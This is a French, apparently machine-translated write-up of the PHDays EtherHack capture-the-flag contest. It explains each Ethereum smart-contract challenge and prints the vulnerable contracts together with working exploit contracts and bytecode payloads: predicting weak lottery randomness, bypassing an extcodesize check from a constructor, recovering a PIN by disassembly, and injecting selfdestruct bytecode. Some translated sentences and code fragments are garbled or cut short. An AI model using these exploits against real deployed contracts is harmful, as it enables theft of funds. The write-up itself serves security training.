
Cette année, PHDays a organisé pour la première fois un concours appelé
EtherHack . Les participants ont recherché des vulnérabilités dans les contrats intelligents pour la vitesse. Dans cet article, nous vous expliquerons les tâches du concours et les moyens possibles de les résoudre.
Azino 777
Gagnez à la loterie et cassez le pot!
Les trois premières tâches étaient liées à des erreurs dans la génération de nombres pseudo-aléatoires, dont nous avons récemment parlé:
Prédire les nombres aléatoires dans les contrats intelligents Ethereum . La première tâche était basée sur un générateur de nombres pseudo-aléatoires (PRNG), qui utilisait le hachage du dernier bloc comme source d'entropie pour générer des nombres aléatoires:
pragma solidity ^0.4.16; contract Azino777 { function spin(uint256 bet) public payable { require(msg.value >= 0.01 ether); uint256 num = rand(100); if(num == bet) { msg.sender.transfer(this.balance); } }
Étant donné que le résultat de l'appel de la fonction
block.blockhash(block.number-1)
sera le même pour toute transaction dans le même bloc, l'attaque peut utiliser un contrat d'exploitation avec la même fonction
rand()
pour appeler le contrat cible via un message interne:
function WeakRandomAttack(address _target) public payable { target = Azino777(_target); } function attack() public { uint256 num = rand(100); target.spin.value(0.01 ether)(num); }
Privé Ryan
Nous avons ajouté une valeur initiale privée que personne ne calculera jamais.
Cette tâche est une version légèrement compliquée de la précédente. La variable de départ, qui est considérée comme privée, est utilisée pour compenser le nombre ordinal de bloc (block.number) afin que le hachage du bloc ne dépende pas du bloc précédent. Après chaque pari, la graine est réécrite dans un nouveau décalage «aléatoire». Par exemple, dans la loterie
Slotthereum, c'était juste ça.
contract PrivateRyan { uint private seed = 1; function PrivateRyan() { seed = rand(256); } function spin(uint256 bet) public payable { require(msg.value >= 0.01 ether); uint256 num = rand(100); seed = rand(256); if(num == bet) { msg.sender.transfer(this.balance); } } }
Comme dans la tâche précédente, le pirate n'avait besoin que de copier la fonction
rand()
dans l'exploit contractuel, mais dans ce cas, la valeur de la variable privée seed devait être obtenue en dehors de la blockchain, puis envoyée à l'exploit comme argument. Pour ce faire, vous pouvez utiliser la méthode
web3.eth.getStorageAt () de la bibliothèque web3:
Lire le magasin de contrats en dehors de la blockchain pour obtenir la valeur initialeAprès avoir reçu la valeur initiale, il ne reste plus qu'à l'envoyer à l'exploit, qui est presque identique à celui de la première tâche:
contract PrivateRyanAttack { PrivateRyan target; uint private seed; function PrivateRyanAttack(address _target, uint _seed) public payable { target = PrivateRyan(_target); seed = _seed; } function attack() public { uint256 num = rand(100); target.spin.value(0.01 ether)(num); } }
Roue de la fortune
Cette loterie utilise le hachage du bloc suivant. Essayez de le calculer!
Dans cette tâche, il était nécessaire de découvrir le hachage du bloc dont le numéro était stocké dans la structure du jeu après le pari. Ce hachage a ensuite été extrait pour générer un nombre aléatoire après le prochain pari.
Pragma solidity ^0.4.16; contract WheelOfFortune { Game[] public games; struct Game { address player; uint id; uint bet; uint blockNumber; } function spin(uint256 _bet) public payable { require(msg.value >= 0.01 ether); uint gameId = games.length; games.length++; games[gameId].id = gameId; games[gameId].player = msg.sender; games[gameId].bet = _bet; games[gameId].blockNumber = block.number; if (gameId > 0) { uint lastGameId = gameId - 1; uint num = rand(block.blockhash(games[lastGameId].blockNumber), 100); if(num == games[lastGameId].bet) { games[lastGameId].player.transfer(this.balance); } } } function rand(bytes32 hash, uint max) pure private returns (uint256 result){ return uint256(keccak256(hash)) % max; } function() public payable {} }
Dans ce cas, il existe deux solutions possibles.
- Appelez le contrat cible deux fois via le contrat d'exploitation. Le résultat de l'appel de la fonction block.blockhash (block.number) sera toujours nul.
- Attendez que 256 blocs se glissent et faites un deuxième pari. Le hachage de numéro de séquence de bloc stocké sera nul en raison des limitations d'Ethereum Virtual Machine (EVM) sur le nombre de hachages de bloc disponibles.
Dans les deux cas, le pari gagnant sera
uint256(keccak256(bytes32(0))) % 100
ou «47».
Appelez-moi peut-être
Ce contrat n'aime pas quand d'autres contrats l'appellent.
Une façon de protéger un contrat d'être appelé par d'autres contrats consiste à utiliser l'instruction d'assemblage EVM
extcodesize
, qui renvoie la taille du contrat à son adresse. La méthode consiste à utiliser cette instruction pour l'adresse de l'expéditeur de la transaction à l'aide de l'insertion d'assembleur. Si le résultat est supérieur à zéro, l'expéditeur de la transaction est un contrat, car les adresses ordinaires dans Ethereum n'ont pas de code. C'est précisément cette approche qui a été utilisée dans cette tâche pour empêcher d'autres contrats d'appeler le contrat.
contract CallMeMaybe { modifier CallMeMaybe() { uint32 size; address _addr = msg.sender; assembly { size := extcodesize(_addr) } if (size > 0) { revert(); } _; } function HereIsMyNumber() CallMeMaybe { if(tx.origin == msg.sender) { revert(); } else { msg.sender.transfer(this.balance); } } function() payable {} }
La
tx.origin
transaction
tx.origin
pointe vers le créateur d'origine de la transaction et msg.sender vers le dernier appelant. Si nous envoyons la transaction à partir de l'adresse habituelle, ces variables seront égales et nous nous retrouverons avec
revert()
. Par conséquent, pour résoudre notre problème, il était nécessaire de contourner la vérification de l'instruction
extcodesize
afin que
tx.origin
et
msg.sender
différents. Heureusement, il existe une fonctionnalité intéressante dans EVM qui peut vous aider:

En effet, lorsque le contrat qui vient d'être placé appelle un autre contrat chez le constructeur, il n'existe pas encore lui-même dans la blockchain, il agit exclusivement comme un portefeuille. Ainsi, le code n'est pas lié au nouveau contrat et extcodesize renverra zéro:
contract CallMeMaybeAttack { function CallMeMaybeAttack(CallMeMaybe _target) payable { _target.HereIsMyNumber(); } function() payable {} }
La serrure
Curieusement, le château est fermé. Essayez de récupérer le code PIN via la fonction de déverrouillage (code PIN octets4). Chaque tentative de déverrouillage vous coûtera 0,5 éther.
Dans cette tâche, les participants n'ont pas reçu de code - ils ont dû restaurer la logique du contrat par son bytecode. Une option était d'utiliser Radare2, une plate-forme utilisée pour
démonter et
déboguer les EVM .
Pour commencer, nous publierons un exemple de la tâche et entrerons le code au hasard:
await contract.unlock("1337", {value: 500000000000000000}) →false
La tentative, bien sûr, est bonne, mais infructueuse. Essayez maintenant de déboguer cette transaction.
r2 -a evm -D evm "evm://localhost:8545@0xf7dd5ca9d18091d17950b5ecad5997eacae0a7b9cff45fba46c4d302cf6c17b7"
Dans ce cas, nous demandons à Radare2 d'utiliser l'architecture evm. Cet outil se connecte ensuite au nœud Ethereum et récupère la trace de cette transaction dans la machine virtuelle. Et maintenant, enfin, nous sommes prêts à plonger dans le bytecode EVM.
Tout d'abord, vous devez effectuer une analyse:
[0x00000000]> aa [x] Analyze all flags starting with sym. and entry0 (aa)
Ensuite, nous démontons les 1000 premières instructions (cela devrait suffire pour couvrir l'intégralité du contrat) à l'aide de la commande pd 1000 et passons à l'affichage du graphique avec la commande VV.
Dans le code d'octets EVM compilé avec
solc
, le gestionnaire de fonctions vient généralement en premier. Sur la base des quatre premiers octets des données d'appel contenant la signature de fonction, qui est définie comme
bytes4(sha3(function_name(params)))
, le gestionnaire de fonction décide quelle fonction appeler. Nous nous intéressons à la fonction de
unlock(bytes4)
, qui correspond à
0x75a4e3a0
.
Après le flux d'exécution à l'aide de la clé s, nous arrivons au nœud qui compare l'
callvalue
avec la valeur
0x6f05b59d3b20000
ou
500000000000000000
, ce qui équivaut à 0,5 éther:
push8 0x6f05b59d3b20000 callvalue lt
Si l'éther fourni est suffisant, alors on se retrouve dans un nœud qui ressemble à une structure de contrôle:
push1 0x4 dup4 push1 0xff and lt iszero push2 0x1a4 jumpi
Le code place la valeur 0x4 en haut de la pile, vérifie la limite supérieure (la valeur ne doit pas dépasser 0xff) et compare lt avec une valeur qui a été dupliquée à partir du quatrième élément de la pile (dup4).
En défilant tout en bas du graphique, nous voyons que ce quatrième élément est essentiellement un itérateur, et cette structure de contrôle est une boucle qui correspond à
for(var i=0; i<4; i++):
push1 0x1 add swap4
Si nous considérons le corps de la boucle, il devient évident qu'il énumère quatre octets entrants et effectue certaines opérations avec chacun des octets. Tout d'abord, la boucle vérifie que le nième octet est supérieur à 0x30:
push1 0x30 dup3 lt iszero
et aussi que cette valeur est inférieure à 0x39:
push1 0x39 dup3 gt iszero
qui est essentiellement une vérification que l'octet donné est dans la plage de 0 à 9. Si la vérification réussit, nous nous retrouvons dans le bloc de code le plus important:

Décomposons ce bloc en plusieurs parties:
1. Le troisième élément de la pile est le code ASCII du nième octet du code PIN. 0x30 (code ASCII pour zéro) est poussé sur la pile puis soustrait du code de cet octet:
push1 0x30 dup3 sub
Autrement dit, le
pincode[i] - 48
, et nous obtenons essentiellement un chiffre du code ASCII, appelons-le d.
2. 0x4 est ajouté à la pile et utilisé comme exposant pour le deuxième élément de la pile, d:
swap1 pop push1 0x4 dup2 exp
Autrement dit,
d ** 4
.
3. Le cinquième élément de la pile est récupéré et le résultat de l'exponentiation y est ajouté. Appelons cette somme S:
dup5 add swap4 pop dup1
Autrement dit,
S += d ** 4
.
4. 0xa (code ASCII pour 10) est poussé sur la pile et utilisé comme multiplicateur pour le septième élément de la pile (qui était le sixième avant cet ajout). Nous ne savons pas ce que c'est, donc nous appellerons cet élément U. Ensuite, d est ajouté au résultat de la multiplication:
push1 0xa dup7 mul add swap5 pop
C'est-à-dire:
U = U * 10 + d
ou, plus simplement, cette expression récupère le code PIN entier sous forme de nombre à partir d'octets individuels
([0x1, 0x3, 0x3, 0x7] → 1337)
.
La chose la plus difficile que nous ayons faite, passons maintenant au code après la boucle.
dup5 dup5 eq
Si les cinquième et sixième éléments de la pile sont égaux, le flux d'exécution nous mènera à l'instruction sstore, qui définit un certain indicateur dans le magasin de contrats. Puisque c'est la seule instruction sstore, c'est apparemment ce que nous recherchions.
Mais comment passer ce test? Comme nous l'avons déjà découvert, le cinquième élément de la pile est S et le sixième est U. Puisque S est la somme de tous les chiffres du code PIN élevé à la quatrième puissance, nous avons besoin d'un code PIN pour lequel cette condition sera remplie. Dans notre cas, l'analyse a montré que
1**4 + 3**4 + 3**4 + 7**4
n'est pas égal à 1337, et nous ne sommes pas
sstore
instruction gagnante
sstore
.
Mais maintenant, nous pouvons calculer un nombre qui satisfait aux conditions de cette équation. Il n'y a que trois nombres qui peuvent être écrits comme la somme de leurs chiffres du quatrième degré: 1634, 8208 et 9474. Chacun d'entre eux peut ouvrir la serrure!
Bateau pirate
Salut Salag! Un bateau pirate amarré au port. Faites-lui jeter l'ancre et soulevez le drapeau avec Jolly Roger et partez à la recherche de trésors.
Le cours standard d'exécution du contrat comprend trois actions:
- Un appel à la fonction
dropAnchor()
avec un numéro de bloc qui doit être plus de 100 000 blocs plus grand que le bloc actuel. La fonction crée dynamiquement un contrat, qui est une "ancre", qui peut être "levée" en utilisant selfdestruct()
après le bloc spécifié. - Un appel à la fonction
pullAnchor()
, qui lance selfdestruct()
si suffisamment de temps s'est écoulé (beaucoup de temps!). - Appelez sailAway (), qui définit
blackJackIsHauled
sur true s'il n'existe aucun contrat d'ancrage.
pragma solidity ^0.4.19; contract PirateShip { address public anchor = 0x0; bool public blackJackIsHauled = false; function sailAway() public { require(anchor != 0x0); address a = anchor; uint size = 0; assembly { size := extcodesize(a) } if(size > 0) { revert();
La vulnérabilité est assez évidente: nous avons une injection directe d'instructions d'assembleur lors de la création d'un contrat dans la fonction
dropAnchor()
. Mais la principale difficulté était de créer une charge utile qui nous permettrait de passer le
block.number
.
Dans EVM, vous pouvez créer des contrats à l'aide de l'instruction create. Ses arguments sont la valeur, le décalage d'entrée et la taille d'entrée. value est un bytecode qui héberge le contrat lui-même (code d'initialisation). Dans notre cas, le code d'initialisation + le code de contrat est placé dans uint256 (merci à l'équipe
GasToken pour l'idée):
0x6a63004141414310585733ff600052600b6015f3
où les octets en gras sont le code du contrat hébergé et 414141 est le site d'injection. Puisque nous sommes confrontés à la tâche de nous débarrasser de l'opérateur de projection, nous devons insérer notre nouveau contrat et réécrire la partie finale du code d'initialisation. Essayons d'injecter le contrat avec l'instruction 0xff, ce qui entraînera la suppression inconditionnelle du contrat d'ancrage à l'aide de
selfdestruct()
:
68 414141ff3f3f3f3f3f ;; contrat push9
60 00 ;; push1 0
52 ;; mstore
60 09 ;; push1 9
60 17 ;; push1 17
f3 ;; retour
Si nous convertissons cette séquence d'octets en
uint256 (9081882833248973872855737642440582850680819)
et l'utilisons comme argument de la fonction
dropAnchor()
, nous obtenons la valeur suivante pour la variable de code (le bytecode en gras est notre charge utile):
0x630068414141ff3f3f3f3f3f60005260096017f34310585733ff
Une fois que la variable de code fait partie de la variable initcode, nous obtenons la valeur suivante:
0x68414141ff3f3f3f3f3f60005260096017f34310585733ff600052600b6015f3
Maintenant, les octets élevés
0x6300
disparu et le reste du bytecode est supprimé après
0xf3 (return)
.

En conséquence, un nouveau contrat avec la logique modifiée est créé:
41 ;; coinbase
41 ;; coinbase
41 ;; coinbase
ff ;; auto-destruction
3f ;; ordure
3f ;; ordure
3f ;; ordure
3f ;; ordure
3f ;; ordure
Si nous appelons maintenant la fonction pullAnchor (), ce contrat sera immédiatement détruit, car nous n'avons plus de contrôle sur block.number. Après cela, nous appelons la fonction sailAway () et célébrons la victoire!
Résultats
- Première place et diffusion d'un montant équivalent à 1 000 dollars américains: Alexey Pertsev (p4lex)
- Deuxième place et Ledger Nano S: Alexey Markov
- Troisième place et souvenirs PHDays: Alexander Vlasov
Tous les résultats:
etherhack.positive.com/#/scoreboard
Félicitations aux gagnants et merci à tous les participants!
PS Merci à
Zeppelin d' avoir
rendu le code source de la plateforme
Ethernaut CTF open source.